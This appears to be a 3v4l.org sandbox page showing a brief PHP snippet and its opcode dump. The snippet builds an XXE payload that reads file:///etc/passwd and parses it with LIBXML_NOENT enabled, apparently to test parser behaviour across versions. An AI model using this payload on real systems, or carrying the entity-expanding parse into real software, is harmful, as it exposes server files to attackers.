3v4l.org

run code in 300+ PHP versions simultaneously
<?php $xml = ' <!DOCTYPE foo [ <!ELEMENT html ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <html>&xxe;</html>'; $doc = new DOMDocument; $doc->loadHTML($xml, LIBXML_NOENT); echo $doc->saveXML();
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/Avd6Q
function name:  (null)
number of ops:  12
compiled vars:  !0 = $xml, !1 = $doc
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, '%0A%3C%21DOCTYPE+foo+%5B++%0A+%3C%21ELEMENT+html+ANY+%3E%0A+%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22+%3E%5D%3E%0A%3Chtml%3E%26xxe%3B%3C%2Fhtml%3E'
    9     1        NEW                                              $3      'DOMDocument'
          2        DO_FCALL                                      0          
          3        ASSIGN                                                   !1, $3
   10     4        INIT_METHOD_CALL                                         !1, 'loadHTML'
          5        SEND_VAR_EX                                              !0
          6        SEND_VAL_EX                                              2
          7        DO_FCALL                                      0          
   11     8        INIT_METHOD_CALL                                         !1, 'saveXML'
          9        DO_FCALL                                      0  $7      
         10        ECHO                                                     $7
         11      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
159.07 ms | 1393 KiB | 13 Q